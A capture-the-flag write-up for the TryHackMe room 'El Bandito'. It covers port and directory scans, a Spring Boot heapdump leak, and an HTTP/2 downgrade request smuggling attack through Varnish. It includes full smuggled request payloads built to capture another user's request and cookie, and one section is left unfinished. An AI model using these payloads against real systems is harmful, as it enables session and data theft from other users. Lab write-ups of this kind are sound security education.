Skip to content

TryHackMe - El Bandito

Introduction


OS: N/A

URL: El Bandito

Level: Hard


A room mainly focused on Request Smuggling.

- Websocket smuggling using a SSRF vulnaribility to get connection upgrade to bypass NGINX 403 filters
- Reuse the credentials to login to the chat application
- Request Smuggling via HTTP/2 Downgrades (HTTP2 desync attack) to leak user requests and find the flag.

Note

Initially /heapdump was enabled allowing us to dump JVM memory to analyse and dump flag and creds from it. This has now been patched. But since this was the method I initially used to solved this room I've covered this in the extras section

Recon

First we start Off with a Nmap Scan to check for open ports and services running on the machine.

sudo nmap -sC -sV -oN nmap/initial -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| [...SNIP...]
80/tcp open ssl/http El Bandito Server
|ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
[..SNIP..]
|_http-server-header: El Bandito Server
[..SNIP..]
631/tcp open ipp CUPS 2.4
|_http-title: Forbidden - CUPS v2.4.7
|_http-server-header: CUPS/2.4 IPP/2.1
| http-methods:
|
Supported Methods: GET HEAD POST OPTIONS
8080/tcp open http nginx
|_http-favicon: Spring Java Framework
|_http-title: Site doesn't have a title (application/json;charset=UTF-8).
[..SNIP..]

We have 4 ports open, 22, 80, 631, 8080. Oddly enough port 80 is running an SSL web server instead of the usual HTTP.

Port 8080 http-favicon reveals that it is running a Spring Java Framework.

let's keep 631 aside for now and comeback to it later if we run out of options.

Web Applications

Port 80

Visiting the web application on port 80 we just get a page with nothing to see here message.

app_on_port_80_homepage

but taking a look at it's source we see that it links a JS file messages.js.

app_on_port_80_source

taking a look at the source it reveals us few endpoints.

[..SNIP..]
// Function to fetch messages from the server
function fetchMessages() {
    fetch("/getMessages")
        .then((response) => {
            if (!response.ok) {
                throw new Error("Failed to fetch messages");
            }
            return response.json();
        })
[..SNIP..]

fetch("/send_message", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
    },
    body: "data="+messageText
})
    .then((response) => {
        if (!response.ok) {
            throw new Error("Network response was not ok");
        }
        console.log("Message sent successfully");
    })
    .catch((error) => {
        console.error("Error sending message:", error);
        // Handle error (e.g., display error message to the user)
    });

/send_message only allows POST requests and requires authentication.

/getMessages Also requires authentication and returns us a Login Prompt.

app_on_port_80_login_prompt

Since it looks like a custom application and do not know any credentials, let's move on to the next port.

Port 8080

The website on port 8080 looks mostly to be a static website with a few pages.

app_on_port_8080_homepage

If we take a close look at the /burn.html it tries and fails to load two resources app.js and a websocket connection. But this was of no importance.

app_on_port_8080_burn_html


Directory Bruteforce

Since we have already identified that the application on port 8080 is running a Spring Java Framework, we can use gobuster to bruteforce directories.

SecLists already has a curated directory list for Spring Framework which we can use.

gobuster_output

┌──(kali㉿kali)-[~/THM/elbandito]gobuster dir -u http://$IP:8080/ -w /opt/useful/SecLists/Discovery/Web-Content/spring-boot.txt -t 50===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.126.71:8080/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/useful/SecLists/Discovery/Web-Content/spring-boot.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/trace (Status: 403) [Size: 146]
/autoconfig (Status: 403) [Size: 146]
/metrics (Status: 403) [Size: 146]
/env/home (Status: 403) [Size: 146]
/env/lang (Status: 403) [Size: 146]
/env (Status: 403) [Size: 146]
/env/pwd (Status: 403) [Size: 146]
/beans (Status: 403) [Size: 146]
/env/language (Status: 403) [Size: 146]
/dump (Status: 403) [Size: 146]
/env/tz (Status: 403) [Size: 146]
/env/path (Status: 403) [Size: 146]
/env/hostname (Status: 403) [Size: 146]
/info (Status: 200) [Size: 2]
/health (Status: 200) [Size: 150]
/mappings (Status: 200) [Size: 4499]
/configprops (Status: 200) [Size: 12018]
/heapdump (Status: 200) [Size: 10302229]
===============================================================
Finished
===============================================================

We have found a few interesting endpoints, /heapdump and /mappings.


mappings

/mappings returns us list of all the endpoints with their methods allowed.

[...SNIP...]
"{[/admin-creds],methods=[GET]}": {
  "bean": "requestMappingHandlerMapping",
  "method": "public org.springframework.http.ResponseEntity<java.lang.String> net.thm.websocket.config.AdminController.adminCreds()"
},
"{[/admin-flag],methods=[GET]}": {
  "bean": "requestMappingHandlerMapping",
  "method": "public org.springframework.http.ResponseEntity<java.lang.String> net.thm.websocket.config.AdminController.adminFlag()"
}
[...SNIP...]

We have two interesting endpoints /admin-creds and /admin-flag.

But Nginx seems to be configured to block any requests that start with /admin.

Warning

The article is currently incomplete for this part and will soon be updated

Request Smuggling

We have a reverse proxy Nginx in this case which forwards the request to JAVA Spring Boot.

To successfully smuggle a request we need to find the differences in HTTP protocol implementation of these two applications.

You can read more about request smuggling here

But in this case there is a better attack method available.

If you access /services.html


Back to Port 80

Now that we have the credentials, lets login to the chat application on port 80.

chat_application_homepage

I ran a gobuster dir scan again and found few more endpoints.

  • GET: /messages - Chat app home page
  • GET: /getMessages - returns all the messages
  • POST: /send_message - sends a message
  • GET: /flush - clears all the messages
  • GET: /access - returns the login page or redirects to /messages if already logged in.
  • POST: /login - logs in the user
  • GET: /logout - logs out the user
  • GET: /ping - returns pong

Trying to Identify the application. Once logged in let's intercept the requests to /messages and /send_message (by sending a message) using burpsuite.

The Server header in response says El Bandito Server Looks like the server header was modified to prevent identification.

chat_application_server_header

But take a note that HTTP/2 Protocol is used for /getMessages and /send_message requests.

Tip

You can usually send invalid requests to the server trying to crash the application or make it return us a error message. error messages usually are at least a bit unique to each server or application which can be used to identify the application.

Let's try to timeout the server by changing the request protocol to HTTP/1.1 and manually setting a larger Content-Length header than the actual message. This will make the server wait for the rest of the message and eventually timeout.

HTTP/2 Desync Attack

Now that we know that the application is behind a Varnish Cache, we can try to leak user requests using Request Smuggling via HTTP/2 Downgrade.

HTTP/2 Desync Attacks

HTTP/2 downgrading is when a front-end server speaks HTTP/2 with clients, but rewrites requests into HTTP/1.1 before forwarding them on to the back-end server. This protocol translation enables a range of attacks, including HTTP request smuggling:

Classic request smuggling vulnerabilities mostly occur because the front-end and back-end disagree about whether to derive a request's length from its Content-Length (CL), or Transfer-Encoding (TE) header. Depending on which way around this desynchronization happens, the vulnerability is classified as CL.TE or TE.CL.

Front-ends speaking HTTP/2 almost always use HTTP/2's built-in message length. However, the back-end receiving a downgraded request doesn't have access to this data, and must use the CL or TE header. This leads to two main types of vulnerability: H2.TE and H2.CL.

taken from PortSwigger

This article from Detectify Labs explains the HTTP/2 request smuggling with varnish. But if you're new to Request Smuggling read the below articles to familiarize yourself.

We will basically be sending two HTTP requests disguised as one. In this case Varnish cache will treat it as a single request but the underlying application server will see them as two separate requests.

In HTTP/2 protocol, the Content-Length header is not used, but we can still supply it to the server. But when the proxy server (read varnish) forwards this request to the underlying application server it uses HTTP/1.1 protocol which uses the Content-Length header to determine the length of the request body.

This causes the application server to only parse the request till the length specified in the Content-Length header and the rest of the request is treated as a new request.

Now if we set a larger Content-Length on the smuggled request, the application will wait to further receive the message and if someone else sends in a request to the server it will be appended to the request body of our smuggled request.

request_smuggling

POST / HTTP/2
Host: 10.10.126.71:80
Content-Length: 4

testPOST /send_message HTTP/1.1
Host: 10.10.126.71:80
Cookie: session=**REDACTED**
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Te: trailers

data=Hi

In the above request we make a HTTP/2 request with a Content-Length of 4 and then append a HTTP/1.1 request to /send_message with a Content-Length of 7.

Since content length is set ot 4 the application will only parse till test. So only the content inside the red lines will be treated as the first request.

Now immediately the application will try to process any pending requests in this case our smuggled request gets parsed as a separate request.

and since the Content-Length is set to 7 and the length of data=Hi is 7 the application will parse the entire request and if you refresh the /getMessages endpoint you will see the message Hi.


Weaponizing the Smuggled Request

Now that we know how to smuggle requests, we can use this to other user requests.

Just by modifying the Content-Length header of the smuggled request we can make the server wait for incoming requests and since our request size is less than the Content-Length the application will either wait till a new requests comes in and append it our message Hi or it will timeout.

After trying for a bit I was able to narrow down the required Content-Length size to 730 to leak the flag in user request.

Warning

If you set the Content-Length larger than the request made by the victim then the application will just timeout.

request_smuggling_flag_request

POST / HTTP/2
Host: 10.10.126.71:80
Content-Length: 4

testPOST /send_message HTTP/1.1
Host: 10.10.126.71:80
Cookie: session=**REDACTED**
Content-Type: application/x-www-form-urlencoded
Content-Length: 730
Te: trailers

data=Hi
HTTP/2 200 OK
Date: Mon, 25 Mar 2024 18:31:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 58
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Feature-Policy: microphone 'none'; geolocation 'none';
Age: 0
Server: El Bandito Server
Accept-Ranges: bytes

nothing to see <script src='/static/messages.js'></script>

Note

Do not make any requests to the server for atleast a minute after you send the smuggled payload. As you will just endup leaking your own request instead of the victim's.

Now we can make a request to /getMessages and see the victims request.

request_smuggling_flag_getmessages

GET /getMessages HTTP/2
Host: 10.10.126.71:80
Cookie: session=**REDACTED**
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://10.10.126.71:80/messages
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{
  "JACK":
    [
      "The Galactic Enforcement's quantum sniffers are onto us, tracing our blockchain exploits.",
      [...SNIP...]  
      "HiGET /access HTTP/1.1\r\nhost: bandito.public.thm:80\r\nscheme: https\r\nsec-ch-ua: \"Chromium\";v=\"122\", \"Not(A:Brand\";v=\"24\", \"HeadlessChrome\";v=\"122\"\r\nsec-ch-ua-mobile: ?0\r\nsec-ch-ua-platform: \"Linux\"\r\nupgrade-insecure-requests: 1\r\nuser-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.128 Safari/537.36\r\naccept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nsec-fetch-site: none\r\nsec-fetch-mode: navigate\r\nsec-fetch-user: ?1\r\nsec-fetch-dest: document\r\naccept-encoding: gzip, deflate, br\r\ncookie: flag=THM{\u00a1!\u00a1**REDACTED**!\u00a1!}\r\nX-Forwarded-For: 172.31.0.1\r\nX-Varn",
    ],
  "OLIVER": [],
}

Now we can just echo -e the request to properly print the flag.

print_final_flag_pretty


Extras

Dumping Flag 1 using heapdump

heapdump

/heapdump returns us a memory dump file which we can download and analyze.

This article by ar6aaz explains some approaches to analyze the memory dump.

let's first download the heapdump file and extract it.

┌──(kali㉿kali)-[~/THM/elbandito/heapdump]wget http://$IP:8080/heapdump --2024-03-25 04:44:25-- http://10.10.126.71:8080/heapdump
Connecting to 10.10.126.71:8080... connected.
HTTP request sent, awaiting response... 200
Length: unspecified [application/octet-stream]
Saving to: ‘heapdump’
2024-03-25 04:44:29 (2.94 MB/s) - ‘heapdump’ saved [10285942]


┌──(kali㉿kali)-[~/THM/elbandito/heapdump]
file heapdump heapdump: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41229324

┌──(kali㉿kali)-[~/THM/elbandito/heapdump]
mv heapdump heapdump.gz
┌──(kali㉿kali)-[~/THM/elbandito/heapdump]
gunzip heapdump.gz
┌──(kali㉿kali)-[~/THM/elbandito/heapdump]
lsheapdump

┌──(kali㉿kali)-[~/THM/elbandito/heapdump]
file heapdump heapdump: Java HPROF dump, created Mon Mar 25 08:44:24 2024

heapdump

Now we can use VisualVM to analyze the memory dump.

Let's load the heapdump file in VisualVM and choose the OQL Console.

This will allow us to do almost SQL like queries on the memory dump. Which can then be used to search for strings, objects, etc.

Example:

select s from java.lang.String s where s.toString().contains("QUERY_HERE")

Since we know that the flag is in the format THM{...} we can search for it.

select s from java.lang.String s where s.toString().contains("THM{")

visualvm_oql_flag_query


We can also use the Objects tab to look through all the Java objects.

Since the /mappings endpoint revealed us the existence of AdminController we can search for it.

First switch to the Objects tab.

visualvm_objects_tab

Then search for AdminController

visualvm_search_admincontroller

Browsing though the Objects

net.thm.websocket.config.AdminController --> fields --> resolved_references

we can find both the flag and the credentials.

visualvm_admincontroller_object